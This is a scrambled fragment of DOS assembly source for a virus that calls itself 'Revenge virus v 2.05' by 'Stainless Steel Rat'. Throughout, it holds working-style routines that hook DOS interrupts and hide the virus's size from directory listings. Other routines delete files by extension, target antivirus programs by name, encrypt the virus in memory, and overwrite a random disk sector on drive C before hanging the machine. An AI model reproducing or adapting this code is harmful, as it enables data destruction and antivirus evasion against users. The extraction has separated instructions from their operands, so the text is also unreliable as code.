ah,2Fh int_21 cl,es:[bx+15h] cl,10h cl,10h no_directory exit_fffn

; Get DTA address in ES:BX ; Get attributes ; Subdirectory? ; No? then jmp

cx,es:[bx+16h] dx,es:[bx+18h] ax,dx cl,5 ax,cl ax,0Fh dx,ax ax ax,1Fh ax,dx check_table_ext

; Get file time ; Get file date ; AX:=file date

push

; AX:=month ; ; ; ; AX:=file time AX:=seconds seconds=month? Infected? No? then jmp

nop nop nop cmp jne nop nop nop cmp jae jmp restore_size: mov cmp ax,es:[bx+1Ah] ax,VIRUS_SIZE ; ; nop jb nop nop nop jmp nop cross_64k: dec no_cross_64k: sub jmp nop db check_table_ext: mov sub mov add mov next_char_fname: mov ah,es:[di] bp,offset(table_ext) bp,100h di,bx di,1Eh ; Point to filename si,di 'I''m the invisible man',0 es:[bx+1Ah],VIRUS_SIZE check_table_ext word ptr es:[bx+1Ch] no_cross_64k cross_64k sub es:[bx+1Ah],VIRUS_SIZE sbb es:[bx+1Ch],0 ?? ;) es:[bx+1Ah],VIRUS_SIZE restore_size exit_fffn ; >=virus size ; Yes? then jmp word ptr es:[bx+1Ch],0 restore_size ; >64KB? ; Yes? then jmp

cmp jnz nop nop nop jmp cmp_dot: cmp je nop nop nop inc di jmp found_extension: inc l_next_extension: mov cmp je nop nop nop cmp je nop nop nop add jmp cmp_last_ext: mov cmp je nop nop nop add jmp jmp_kill_file: jmp nop db kill_file: push

ah,0 cmp_dot

; End of filename? ; No? then jmp

exit_fffn

ah,'.' ; Extension? found_extension ; Yes? then jmp

next_char_fname

di ax,cs:[bp] ax,es:[di] cmp_last_ext

; Point to extension

; Extension in table? ; Maybe? then jmp

al,0FFh exit_fffn

; End of table? ; Yes? then jmp

bp,3 ; Next l_next_extension

ah,es:[di+2] ah,cs:[bp+2] jmp_kill_file

; Extension in table? ; Yes? then jmp

bp,3 l_next_extension

kill_file

'Now you DiE !',0

es xor mov mov mov mov mov mov mov es si

ax,ax es,ax ; ES:=0 ax,es:[24h*4] ; Read & store int 24h cs:ofs_i24-100h,ax ax,es:[24h*4+2] cs:seg_i24-100h,ax es:[24h*4],offset(int_24)-100h ; Set new int 24h es:[24h*4+2],cs

pop es push push pop dx

pop ds mov call es xor mov mov mov mov mov si ah,41h int_21 ax,ax es,ax ax,cs:ofs_i24-100h es:[24h*4],ax ax,cs:seg_i24-100h es:[24h*4+2],ax ; Delete file

push

; ES:=0 ; Restore int 24h

pop es push pop di cld stosw

mov mov stosw mov stosw jmp nop exit_fffn: pop es pop ds pop di pop si pop bp pop dx pop cx pop bx pop ax popf clc add jmp exit_fffn_preserve_AX: mov pop es pop ds pop di pop si pop bp pop dx pop cx pop bx pop ax pop ax mov add stc jmp popregs_iret: pop es pop ds pop di pop si pop bp pop dx pop cx

ax,0A898h ax,20E2h ax,'!' exit_fffn

; Return 'shit !',0 in russian

; '!',0 ; Stupid jmp!!!

sp,6 exit_21h

cs:returnAX_fffn-100h,ax

; Preserve AX

ax,cs:returnAX_fffn-100h sp,6 exit_21h

; Return AX

pop bx pop ax popf iret ofs_i24 seg_i24 dw dw 0 0

restore_exec_host: pop es pop ds cmp je nop nop nop cmp je nop nop nop mov push nop decrypt_byte190: mov sub mov restore_com: mov add push si add mov call pop add mov call ret remove_from_memory: push cx l_del_mem: mov inc si loop pop cx ret ax jmp

cs:[si+host_type],1 restore_exe

; EXE? ; Yes? then jmp ; It's COM

cs:[si+encrypted_byte?],0FFh decrypt_byte190

; Byte encrypted? ; Yes? then jmp

ax,103h

; Initial call return address ; If not encrypted it starts with 'call'

restore_com

al,cs:[si+encrypted_byte] al,53h ; Decrypt byte cs:[190h+100h],al ; Restore code in memory ax,cs:[si+jmp_dest] ax,100h ax

; Host entry point

push

si,100h ; Remove virus from memory cx,offset(delmem_here)-100h remove_from_memory si si,offset(restore_exe) cx,virus_end-restore_exe remove_from_memory ; Return to host

delmem_here:

byte ptr cs:[si],'#' l_del_mem

; Remove copy virus from memory

db 'All dead...',0 restore_exe: sub cmp jne nop nop byte ptr ds:[512+100h],7Eh ; Decrypt byte cs:[si+pklite_exe],1 ; Pklited file? no_pk_host_exe ; No? then jmp

nop mov no_pk_host_exe: push ax mov ax,ds add add add mov mov mov mov mov mov mov mov pop ax push si add mov call ;delmem_here2: pop push si add mov call pop si cli mov mov sti jmp file_ip file_cs file_sp file_ss dw dw dw dw ds:[0Dh+100h],9090h ; Remove patch

ax,10h cs:[si+_reloss],ax cs:[si+_relocs],ax ax,cs:[si+_exeip] cs:[si+file_ip],ax ax,cs:[si+_relocs] cs:[si+file_cs],ax ax,cs:[si+_exesp] cs:[si+file_sp],ax ax,cs:[si+_reloss] cs:[si+file_ss],ax

; Add PSP ; Relocate segments

si,100h cx,offset(delmem_here)-100h ; offset(delmem_here2) !!! remove_from_memory si si,offset(check_valid_fname) cx,virus_end-check_valid_fname remove_from_memory

sp,cs:[si+file_sp] ss,cs:[si+file_ss] dword ptr cs:[si+file_ip] 0 0 0 0

; Set stack

; Exec host

check_valid_fname: push ds push si push di push bx mov mov sub mov l_search_fname: cmp jz nop nop nop cmp je nop nop nop next_search_fname: inc di

di,dx si,offset(av_table) si,100h bx,di

byte ptr [di],0 end_search

; End of string? ; Yes? then jmp

byte ptr [di],'\' mark_position

; Start of directory/file name? ; Yes? then jmp

jmp mark_position: mov jmp end_search: inc bx next_inv_fname: mov cmp je nop nop nop cmp jne jmp check_table: cmp je nop nop nop inc inc si jmp valid_fname: pop bx pop di pop si pop ds ret invalid_fname: pop bx pop di pop si pop ds pop ax jmp convert2uppercase: push di push ax l_c2up: mov cmp jz nop nop nop cmp jb nop nop nop cmp ja nop

l_search_fname

bx,di next_search_fname

ax,cs:[si] ax,'##' valid_fname

; Get 2 chars from table ; End of table? ; Yes? then jmp

[bx+1],'DI' check_table print_msg_russ

; '?ID*.*' ? (AIDTEST?) ; No? then jmp ; Yes? then jmp

ax,[bx] invalid_fname

; Invalid filename (in table)? ; Yes? then jmp

si next_inv_fname

; Next table entry

restore_attr

ah,[di] ah,0 exit_c2up

; End of string? ; Yes? then jmp

ah,'a' next_c2up

; In lowercase? ; No? then jmp

ah,'z' next_c2up

; In lowercase? ; No? then jmp

nop nop sub next_c2up: mov inc di jmp exit_c2up: pop ax pop di ret db check4pklite_com: push di push ax push cx xor cmp jne nop nop nop inc no_pk150: cmp jne nop nop nop cmp jnz nop nop nop mov mov xor l_crc_pkl: add inc di loop cmp je nop nop nop cmp je nop nop nop cmp jz nop nop nop jmp nop pk_100: 'Crazy Little Thing Called PkLite',0 l_c2up [di],ah ah,' ' ; Convert in uppercase

di,di byte ptr [di+header],50h no_pk150

; PUSH AX? (PKL 1.50+) ; No? then jmp

di byte ptr [di+header],0B8h no_pklite

; Skip 'push ax' ; MOV AX,xxxx? ; No? then jmp

byte ptr [di+header+3],0BAh no_pklite

; MOV DX,xxxx? ; No? then jmp

di,offset(header)+7 cx,16 ax,ax al,[di] l_crc_pkl al,53h pk_100 ; Make CRC of code

; PKLite 1.00? ; Yes? then jmp

al,0E5h pk_115

; PKLite 1.15? ; Yes? then jmp

al,9Dh pk_150

; PKLite 1.50? ; Yes? then jmp

no_pklite

mov mov jmp nop pk_115: mov mov jmp nop pk_150: mov mov pklite_found: clc jmp nop no_pklite: stc pklite: pop cx pop ax pop di ret

ofs_patchcom2,71h inc_ofs_patch1,0 pklite_found

; Dir patch+0

ofs_patchcom2,73h inc_ofs_patch1,0 pklite_found

; Dir patch+0

ofs_patchcom2,84h inc_ofs_patch1,1

; Dir patch+1

pklite

check4pklite_exe: cmp jne nop nop nop cmp jne nop nop nop mov mov mov shl mov add xor call mov mov mov call mov mov mov l_cmp_pkcode: mov cmp jne nop nop nop inc di inc si

_relocs,0FFF0h ; CS segment=0FFF0h? (like pklited file) not_found_pkexe ; No? then jmp

_exeip,100h ; IP=100h? (like pklited files) not_found_pkexe ; No? then jmp ; Yes? Seems to be a pklited exe file

ax,4200h cl,4 dx,_hdrsize dx,cl ; header size * 16 = start of code ofs_segcode,dx dx,6 ; Skip 6 bytes cx,cx int_21 ; Lseek to end of header+6 ah,3Fh dx,offset(buffer_pkexe) cx,0Ah int_21 ; Read from file si,offset(pkexe_code) di,offset(buffer_pkexe) cx,0Ah al,[si] al,[di] ; Check if it's a pklited exe file not_found_pkexe ; No? then jmp

loop clc ret not_found_pkexe: stc ret buffer_pkexe: db db db db db db db db db db db db pkexe_code: ; ; ; ;

l_cmp_pkcode

0 0 0 0 0 0 0 0 0 0 0 0

add cmp jnb sub db db db db db db db db db db dw

ax,0 ax,[2] $+1Ch ax,0 5 0 0 3Bh 6 2 0 73h 1Ah 2Dh 0

ofs_segcode

print_msg_russ: push pop ds mov mov call cli hlt print_REVENGE: mov int mov mov mov mov int ax,3 10h ax,40h es,ax cx,0FFFFh ah,1 10h ; ; ; ; ax,0B800h ; VIDEO: Change mode to 80x25 16col. ; why?? ; why?? ; Hang computer ah,9 dx,offset(msg_russian)-100h int_21 ; Print msg cs

VIDEO: Set cursor characteristics CH bits 0-4 = start line in character cell bits 5-6 = blink attribute CL bits 0-4 = end line in character cell

mov

mov mov mov write_this_is: mov cmp jz nop nop nop mov add inc si jmp wrote_this_is: mov mov mov mov l_revenge_line: mov cmp je nop nop nop cmp jne nop nop nop mov jmp nop cmp_b1: cmp jne nop nop nop mov jmp nop cmp126: cmp jne jmp cmpp: cmp jne jmp cmp_d: cmp jne nop nop nop mov

es,ax di,(3*80+28)*2 si,offset(this_is) ah,[si] ah,0 wrote_this_is

; ES:=video memory segment ; gotoxy(28,3)

; End of string? ; Yes? then jmp

es:[di],ah di,3*2 write_this_is

; Write char to screen ; 2 chars between letters

di,(6*80)*2 ; gotoxy(0,6) bx,di si,offset(revenge) cx,12 ; 12 lines al,[si] al,0 new_revenge_line

; End of line? ; Yes? then jmp

al,' ' cmp_b1

; Space? ; No? then jmp

ah,0 ; Color: black write_charAL_colorAH

al,'±' cmp126

; ± code? ; No? then jmp

ah,0C0h ; Blink ± write_charAL_colorAH

al,'~' cmpp code126p

; ~ code? ; No? then jmp

al,'#' cmp_d code126p

; '#' code? ; No? then jmp

al,'d' cmp_w

; 'd' code? ; No? then jmp

ah,0C0h

; Blink

mov jmp cmp_w: cmp jne nop nop nop mov mov jmp cmpadm: cmp jne nop nop nop xor jmp no_special_char: mov write_charAL_colorAH: mov inc di inc di inc si jmp new_revenge_line: add mov inc si loop mov mov write_of_SSR: mov cmp jz nop nop nop mov add inc si jmp wrote_of_SSR: mov mov sti change_line_colors: mov mov l_set_colors: push cx mov mov mov add

al,'±' write_2chars

al,'w' cmpadm

; 'w' code?

ah,4 al,'ß' write_2chars

; Color: red

al,'!' ; '!' code? no_special_char ; No? then jmp

ax,ax write_2chars

; Char 0, color black

ah,4 es:[di],ax

; Color: red

l_revenge_line

bx,80*2 di,bx

; Next screen line

l_revenge_line di,(20*80+6)*2 ; gotoxy(6,20) si,offset(of_SSR) ah,[si] ah,0 wrote_of_SSR

; End of string? ; Yes? then jmp

es:[di],ah di,3*2 write_of_SSR

; Write char to screen ; 2 chars between letters

cx,200 si,1

; !?

di,(20*80+5)*2 cx,68

; gotoxy(20,5)

ah,cl cl,4 bx,si ah,bl

; Calculate color

shl shr cmp jnz nop nop nop mov no_black: mov pop cx inc inc di loop call inc in cmp jne jmp nop delay: mov loop mov loop mov loop ret code126p: push

ah,cl ah,cl ah,0 no_black

; Black? ; No? then jmp

ah,1 es:[di+1],ah di

; Skip black ; Set char color ; Next char

l_set_colors delay si ; New colors al,60h ; AT Keyboard controller 8042. al,1 ; ESC key pressed? change_line_colors ; No? then jmp print_msg_and_kill_sector

cx,0FFFFh $ cx,0FFFFh $ cx,0FFFFh $

cx mov cmp jne nop

cl,[si+1] al,'~' codep

; Number of chars to repeat

; '~' char

nop nop mov jmp nop codep: mov mov l_repeat_char: cmp jz nop nop nop mov inc di inc di dec cl jmp end_repeat_char: inc si inc si pop cx jmp l_revenge_line l_repeat_char es:[di],ax ; Write char cl,0 ; More chars? end_repeat_char ; No? then jmp ah,0C0h al,'±' ; Blink ah,0 l_repeat_char ; Color: Black

write_2chars: mov inc inc di jmp write_charAL_colorAH ; Write another char es:[di],ax di ; Write char

print_msg_and_kill_sector: mov ax,2 int 10h ; VIDEO: Change mode to 80x25 B&W mov al,3 int 10h ; VIDEO: Change mode to 80x25 16col. mov ah,1 mov cx,2000h ; Invisible cursor int 10h ; VIDEO: Set cursor characteristics mov cx,0 mov di,(9*80+8)*2 ; gotoxy(8,9) mov si,offset(release_msg) mov ax,0B800h mov es,ax ; Point to video memory l_print_version: push di call print_string pop di add di,80*2 ; Next screen line inc si add cx,1 ; Next line (inc cx!!) cmp cx,4 ; 4 lines printed? jne l_print_version mov ax,40h mov es,ax ; ES:=40h mov dx,es:[6Ch] ; Random sector mov cx,1 ; 1 sector mov al,2 ; C: int 26h ; DOS - ABSOLUTE DISK WRITE ; AL = drive number (0=A, 1=B, etc), ; DS:BX = Disk Transfer Address (buffer) ; CX = number of sectors to write, ; DX = first relative sector to write ; Overwrite random sector cli hlt ; Hang computer print_string: mov mov add al,[si] ah,11 ah,cl

cmp je nop nop nop cmp jz nop nop nop mov inc si inc di

al,'#' skip_chars

; ; ; ; ; ;

Line 1: color Line 2: color Line 3: color Line 4: color Special code? Yes? then jmp

11 12 13 14

-> -> -> ->

blue red pink yellow

al,0 end_print_string

; End of string? ; Yes? then jmp

es:[di],ax

; Print char

inc di jmp end_print_string: ret skip_chars: mov shl mov add inc inc inc inc si si di di jmp encrypt_i1: push push push push push print_string al,[si+1] al,1 ah,0 di,ax ; Number of chars to skip ; 2 bytes per each char ; Skip chars print_string

cx ax si di es mov mov mov ror mov mov shl shr mov add call

si,offset(encrypt_instructions) di,offset(enc_inst) al,enc_selector al,1 enc_selector,al cl,6 al,cl al,cl cl,3 si,ax copy_enc_inst

mul cl

pop pop pop pop pop ret

es di si ax cx

copy_enc_inst: cld push pop es mov ds rep ret enc_selector this_is of_SSR revenge: ; Line 1 db db db ; Line 2 db db '~',7,'Û','#',3,'~',3,'*','d','*','d','w','Û','d',' ','*','d' '~',4,'*','d',' ','*','d','w','Û','d',' ','*','#',3,'w','Û','d' db db db cx,3

movsb

0 'THIS IS',0 'OF',9,'STAINLESS STEEL RAT',0

; Compressed graphic '~',7,'*','d',' ','#',5,'~',9,'*','d',0,'~',7,'*','#',3,'w' 'ß','Û','d',' ','Ü','#',5,'!','*','d','~',4,'*','d','!','Ü' '#',5,'!','*','d',' ','#',4,'~',3,'#',4,' ','d','!','Ü','#',5,0

db ; Line 3 db db db ; Line 4 db db ; Line 5 db db db ; Line 6 db db db ; Line 7 db db db ; Line 8 db db db ; Line 9 db ; Line 10 db ; Line 11 db ; Line 12 db

'*','d','w','ß','#',3,' ','*','d','w','Û','d',0 '~',6,'*','#',3,'~',3,'*','d',' ','*','d','!','*','d','!','Û' '±','~',3,'*','d','!','*','d','!','*','d',' ','*','d','~',3 '*','d','*','d','~',3,'*','d',' ','*','d','!','*','d',0 '~',6,'Û','#',7,'!','*','#',7,'~',3,'*','d','!','*','d',' ','*' '#',7,'!','*','d','~',3,'*','d',' ','Û','#',7,'*','#',7,0 '~',5,'*','#',3,' ','*','d','~',3,'*','#',3,'w','ß','~',5,'*' 'd',' ','*','±','!','*','#',3,'w','ß','~',3,'*','d','~',3,'*' 'd','!','w','#',5,'*','#',3,'w','ß',0 '~',5,'*','d','~',3,'Û','d','~',3,'Û','d','~',4,'±','~',4,'*' 'd','*','±','~',3,'Û','d','~',4,'±',' ','*','d',' ',' ','*','d' '~',5,'w','ß','Û','±',' ','Û','d','~',4,'±',0 '~',5,'Û','d','~',4,'Û','d','~',3,'Û','#',5,'~',6,'*','d','~',5 'Û','#',5,'!','*','d','!','*','d','~',3,'±','~',3,'*','d','!' 'Û','#',5,0 '~',4,'*','#',3,'~',5,'Û','d','~',3,'w','w','~',8,'w','~',6,'w' 'w','~',4,'w','~',3,'w',' ',' ','d','~',3,'*','d','~',3,'w','w' 0 '~',4,'Û','d','~',7,'Û','d','~',27h,'*','#',6,0 '~',4,'w','ß','~',8,'Û','d','~',27h,'w','w','ß','!',0 '~',10h,'Û','d',0 '~',10h,'w',0

; Uncompressed graphic: ; ; T H I S I S ; ; *±± ±±±±± *±± ; *±±±ßßßÛ±± ܱ±±±± *±± *±± ܱ±±±± *±± ±±±± ±±±± ±± ܱ±±±± ; Û±±± *±±*±±ßßÛ±± *±± *±± *±±ßßÛ±± *±±±ßßÛ±±*±±ßßß±±± *±±ßßÛ±± ; *±±± *±± *±± *±± Û± *±± *±± *±± *±± *±±*±± *±± *±± *±± ; Û±±±±±±± *±±±±±±± *±± *±± *±±±±±±± *±± *±± Û±±±±±±±*±±±±±±± ; *±±± *±± *±±±ßßß *±± *± *±±±ßßß *±± *±± ßß±±±±±*±±±ßßß ; *±± Û±± Û±± ± *±±*± Û±± ± *±± *±± ßßßÛ± Û±± ± ; Û±± Û±± Û±±±±± *±± Û±±±±± *±± *±± ± *±± Û±±±±± ; *±±± Û±± ßßßß ßß ßßßß ßß ßß ±± *±± ßßßß ; Û±± Û±± *±±±±±± ; ßßß Û±± ßßßßß ; Û±± ; ; O F S T A I N L E S S S T E E L R A T release_msg: db 'úúúú---BELBELBEL Revenge virus v 2.05 released at 08.08.96 BELBELBEL---úúúú',0 db 'úúúú---BELBELBEL Copyright (c) 1996-97 2 Rats Techno Soft BELBELBEL---úúúú',0 db 'úúúú---BELBELBEL#',11h, 'Written by#',0Eh, 'BELBELBEL---úúúú',0 db 'úúúú---BELBELBEL#',0Dh, 'Stainless Steel Rat#',9, 'BELBELBEL---úúúú',0 db db db msg_russian 'StealthedMetamorphicCrazyForcedSynthesatedRandom' 'MegaLayerEncryptionProgressionMutationEngine' 'SeekAndDestroyerGenerator',0 ¯®¬®©ªy ?! :)',7,'$'

db '’ë ¥é¥ -¥ ¢ë¡p®á¨« íâ®â suxx -

header: _signature _partpag _pagecnt _relocnt _hdrsize _minmem _maxmem _reloss _exesp _chksum _exeip _relocs _tabloff _overlay word_ofs1C

dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw

0C3h 9090h 20CDh 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0E9h 0 0 ; Unused! ; Unused! ; Unused! ; JMP xxxx (JMP start virus)

jmp_com jmp_vir_l jmp_vir_h

db db db db

'Ÿ ¬áâî ,¨ ¬áâï ¬®ï 㦠á- ... ü S.S.R.' 0 0 0 0 0 0 0 0

file_month returnAX_fffn attributes pklite_com jmp_dest ofs_patchcom2 inc_ofs_patch1 encrypted_byte?

dw dw dw db dw dw dw db

; 0 = Not compressed with Pklite ; 1 = Compressed with Pklite

; 0FFh -> Yes ; 0 -> No ; Unused!

_FFFF infection_count encrypted_byte host_type ofs_vircode table_ext:

db dw dw db db dw

0 0FFFFh 0 0 0 0

; 0 = COM ; 1 = EXE

db db db db db db db db db db db db db db

'PAR' 'PIF' 'ICO' '°°°' 'PAS' 'BAS' 'FRQ' '311' '312' 'TPU' 'GIF' 'JPG' 'NLM' 'STM'

; ; ; ; ; ; ; ; ; ; ; ; ; ;

Windows swap file Windows PIF Windows Icon ??? Pascal sources Basic sources ??? ??? ??? Turbo Pascal Units GIF graphic format JPG graphic format Novell Netware (?) ???

db db db db av_table: db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db

'MOD' 'CPP' 'DOT' 0FFh

; ; ; ;

MOD song format C++ sources WinWord End of table ÿ

'DR' 'AI' 'AD' 'CO' 'HI' 'AV' 'WI' 'KE' 'US' 'GD' 'AV' '##' 0

; ; ; ; ; ; ; ; ; ; ; ;

DRWEB AIDSTEST ADINF COMMAND.COM HIEW AVP, AVSCAN <ÄÄÄÄÄÄÄÄÄÄÄ¿ WIN ³ KEYB ³ USER.EXE (Windows file) ³ GDI.EXE (Windows file) ³ Already checked!!! ÄÄÄÄÄÄÄÄÄEnd of table

; Unused!

0Dh,0Ah ' yâ¨-ëç !' 0Ah,0Dh ' ¥p¥¨¬¥-®¢ âì -¥ § å®â¥«,¤ ! ’ë á ¬ í⮣® å®â¥« ! ' 0Dh,0Ah ' â® ¢®©- !!! ‘- ç « ¤®ª¨ - yç¨áì ¯¨á âì (ᬠAVPVE)!' 0Dh,0Ah '‚ ®¡é¥¬,H…‚Ž‡ŒŽ†HŽ‘’œ ‹…—…HˆŸ ®áâ ¢«ï¥â £-¥âã饥 ¢¯¥ç â«¥-¨¥' 0Ah,0Dh '®â ç१¬¥à-ëå ¯®â㣠£®á¯®¤¨- ¢¨à«¨á⮯¨á ⥫ï...' 0Dh,0Ah 'Exe-Pklite ⮫쪮 ¢ 3.13 - ª®¯ «... ¥¤-ë¥ î§¥pë - ¢¥p-®¥' 0Dh,0Ah 'â¥¡ï § ¤®«¡ «¨, ? Š ª íâ®:¢á¥ “„€‹ˆ‹:), ®- ®¯ïâì ¯®ï¢¨«áï !' 0Dh,0Ah 'H“ ’… … œ ‚‘… - ‚€Œ ‚‘…Œ Œ…HŸ ’… … œ ‹…—ˆ’œ ‘‹€ Ž:SND ®¤- ª®...' 0Dh,0Ah 'RES -¥ ®âí¬y«¨« - ¯®«yç¨ 32ReGs,@$%^, !' 0Dh,0Ah 'Revenge - â® ¤ ¦¥ -¥ è¢ ¡p , ¯ë«¥á®á á 拉p-®© - ª 窮© ¨' 0Dh,0Ah 'âyp¡®-- ¤¤y¢®¬ ¤«ï ⢮¥© -¥áç áâ-®© yâ¨-ë ¨ ®áâ «ì-ëå ‡€SHITHˆŠŽ‚!' 0Dh,0Ah '[®áâ «ì-ë¥ - ¥§¤ë ¯®áª¨¯ -ë]' 0Dh,0Ah '“¢ ¦ ¥¬ë© £-- Š ᯥp᪨© ! Žç¥-ì ¡« £®¤ p¥- § ¯®¤p®¡-®¥ ®¯¨á -¨¥ !' 0Dh,0Ah 'Œ-¥ ®ç¥-ì ¯®-p ¢¨«®áì,thanks. £¨ ¢ ¤®ª¥ ¥áâì -® ¢á¥ p ¢-® - Š “’Ž !' 0Dh,0Ah 'RES - -¥ ¯®«¨¬®pä-ë© £¥-¥p â®p, Randomer' 0Dh,0Ah ' ® í⮬y ¯®¢®¤y ï y¤ «¨« .AVB ¨§ å®p®è¥£® ᯨ᪠! Best®¢ë¥ p¥£ p¤ë ¨' 0Dh,0Ah 'py«¥áë ! AVP - íâ® ªpyâ®,Web - real SUXX !' 0Dh,0Ah '‡ ¡ £¨ ¨ £«îª¨ -¥ ®â¢¥ç î (¢ ®á®¡¥--®á⨠§ çy¦¨¥)!' 0Dh,0Ah 'ü S.S.R.' 0Dh,0Ah 'P.S. remember:8086 - -¥ 486, emul - -¥ TD386' 0Dh,0Ah

encrypt_instructions: add sub xor ror int_24: mov iret int_1c: pushf inc cmp je nop nop nop popf iret shake_screen: push push dec ax dx mov mov out

es:[di],al es:[di],al es:[di],al byte ptr es:[di],cl

al,3

cs:tick_counter-100h cs:tick_counter-100h,6000h ; Time to shake screen? ; (6000h ticks = aprox. 22 min.) shake_screen ; Yes? then jmp

cs:tick_counter-100h

; Continue with shake

dx,3C4h al,1 dx,al ; ; ; ; ; ; al,40h al,1 dx,al ; ; ; ;

EGA: sequencer address reg clocking mode. Data bits: 0: 1=8 dots/char; 0=9 dots/char 1: CRT bandwidth: 1=low; 0=high 2: 1=shift every char; 0=every 2nd char 3: dot clock: 1=halved Get random number AL:=[0 | 1] EGA port: sequencer data register Shake screen

inc dx in and out pop dx pop ax popf iret tick_counter int_6: pop pop push push es ax di mov mov mov cmp jne cs:caller_IP-100h cs:caller_CS-100h cs:caller_CS-100h cs:caller_IP-100h dw 0

push push push

ax,cs:caller_CS-100h es,ax di,cs:caller_IP-100h byte ptr es:[di],0F0h exit_i6

; Opcode 0F0? (Used by SND) ; No? then jmp

nop nop nop

mov rcr jc nop nop nop mov mov xor mov mov jmp nop encode_movax: mov mov xor xor mov mov jmp nop exit_i6: pop di pop ax pop es iret caller_IP caller_CS int_ac: add pushf push push push ax bx es mov mov mov mov mov dw dw

al,es:[di+1] al,1 encode_movax

; Get next byte ; Using AX? ; Yes? then jmp

byte ptr es:[di],0B4h al,es:[di+3] al,es:[di+2] es:[di+1],al es:[di+2],21CDh exit_i6

; ; ; ; ;

Encode MOV AH,xx Get value of AH Decrypt it and store it Encode int 21h

byte ptr es:[di],0B8h ax,es:[di+3] al,es:[di+2] ah,es:[di+2] es:[di+1],ax es:[di+3],21CDh exit_i6

; Encode MOV AX,xxxx ; Get value of AX ; Decrypt it ; and store it ; Encode int 21h ; Stupid JMP!!

0 0

sp,6

; Remove return address from stack

bx,cs:ofs_i21_2-100h ax,cs:seg_i21_2-100h es,ax ax,cs:_2bytes_21h-100h es:[bx],ax

; Get real int 21h

; Restore original bytes

pop es pop bx pop ax push push push

si cx ax mov mov cmp je

si,offset(function_table)-100h cx,3 ah,cs:[si] found_function ; Function in table? ; Yes? then jmp

l_cmp_function:

nop nop nop inc si loop dec ah cmp je nop ax,4A00h found_function ; 4B00h? Exec? ; Yes? then jmp l_cmp_function

nop nop cmp jne jmp cmp_abcd: cmp jne jmp cmp_4b53: cmp jne jmp cmp_cccc: cmp jne jmp cmp_dead: cmp jne jmp exec_21h: pop ax pop cx pop si popf jmp nop function_table: db db db found_function: pop ax pop cx pop si popf call call int call call jmp nop exit_21h: call call pushf push push push es ax bx mov mov mov mov restore_i13h encrypt_memory decrypt_memory set_original_i13h 0ABh encrypt_memory restore_i13h jmp_21h 3Dh 4Eh 4Fh ; Open ; Find-first ; Find-next jmp_21h ax,0DDADh exec_21h warning_msg ; 0DEADh? ; No? then jmp ; Yes? then jmp ax,0CBCCh cmp_dead warning_msg ; 0CCCCh? ; No? then jmp ; Yes? then jmp ax,4A53h cmp_cccc warning_msg ; 4B53h? ; No? then jmp ; Yes? then jmp ax,0AACDh cmp_4b53 warning_msg ; 0ABCDh? ; No? then jmp ; Yes? then jmp ah,0FEh cmp_abcd warning_msg ; 0FFh? ; No? then jmp ; Yes? then jmp

bx,cs:ofs_i21_2-100h ax,cs:seg_i21_2-100h es,ax es:[bx],0ACCDh ; int ACh in starting bytes of int 21h

pop bx pop ax pop es popf retf jmp_21h: pushf push push push

2

pop es bx ax xor mov mov mov mov mov mov mov

cs:flags-100h

; Save flags

bx,bx es,bx ; ES:=0 bx,es:[2Ah*4] ; Get & save int 2Ah cs:ofs_i2A_2-100h,bx bx,es:[2Ah*4+2] cs:seg_i2A_2-100h,bx es:[2Ah*4],offset(int_2A_2)-100h ; Set new int 2Ah es:[2Ah*4+2],cs

pop ax pop bx pop es push

push

push l_search_retf:

cs mov mov ax mov mov push mov mov es xor cmp je

cs:saved_AX-100h,ax ax,offset(return_from_int)-100h ; Return address cs:saved_DI-100h,di cs:saved_ES-100h,es cs:flags-100h di,70h es,di di,di byte ptr es:[di],0CBh found_retf ; Search for a RETF in DOS seg ; RETF? ; Yes? then jmp

; DOS Segment

nop nop nop inc di jmp found_retf: push di ; The int will return to a RETF in the ; DOS segment -> It simulates that the ; call to the int was done by DOS di,cs:saved_ES-100h ; Restore registers es,di di,cs:saved_DI-100h ax,cs:saved_AX-100h 0EAh ; jmp far (exec int 21h) 0 0 l_search_retf

ofs_i21_2 seg_i21_2

mov mov mov mov db dw dw

return_from_int: call jmp nop restore_i2A_2: pushf restore_i2A_2 int_2A_2

push push

es bx xor mov mov mov mov mov

bx,bx es,bx bx,cs:ofs_i2A_2-100h es:[2Ah*4],bx bx,cs:seg_i2A_2-100h es:[2Ah*4+2],bx

; ES:=0 ; Restore int 2Ah

pop bx pop es popf ret int_2A_2: nop nop pushf push push push ; Int 2Ah: Called at the end of an int 21h

es ax bx mov mov mov mov

bx,cs:ofs_i21_2-100h ax,cs:seg_i21_2-100h es,ax es:[bx],0ACCDh ; int 0ACh in starting bytes of int 21h

pop bx pop ax pop es popf retf _2bytes_21h ofs_i2A_2 seg_i2A_2 saved_AX saved_DI saved_ES flags encrypt_memory: pushf es si cx ax xor mov mov mov mov mov mov l_encrypt_memory: push cx mov add ror xor inc si pop cx loop pop ax pop cx push push push push call 2 dw dw dw dw dw dw dw restore_i2A_2

0 0 0 0 0 0 0

si,si ax,40h es,ax cl,es:[6Ch] ; Get random number (clock) cs:mem_mask-100h,cl al,cl cx,int_24-virus_start

cl,al cs:[si],cl ; Encrypt code in memory byte ptr cs:[si],cl cs:[si],cl

l_encrypt_memory

pop si pop es popf ret decrypt_memory: pushf push si push cx push ax xor mov l_decrypt_memcode: push cx mem_mask equ mov xor rol sub inc si pop cx loop pop ax pop cx pop si popf ret int_21: pushf ofs_i21 seg_i21 ret db dw dw 9Ah 0 0 ; call far

si,si cx,int_24-virus_start

byte ptr $+1 cl,0 cs:[si],cl byte ptr cs:[si],cl cs:[si],cl

; mov cl,mem_mask ; Decrypt code in memory

l_decrypt_memcode

iret set_original_i13h: pushf push ax push es xor mov mov mov mov mov mov mov mov mov pop es pop ax popf ret restore_i13h: pushf push push

; Unused!

ax,ax es,ax ; ES:=0 ax,es:[13h*4] ; Get int 13h cs:ofs_actual_i13-100h,ax ; Save it ax,es:[13h*4+2] cs:seg_actual_i13-100h,ax ax,cs:ofs_i13-100h es:[13h*4],ax ; Set original int 13h ax,cs:seg_i13-100h es:[13h*4+2],ax

ax es xor mov

ax,ax es,ax

; ES:=0

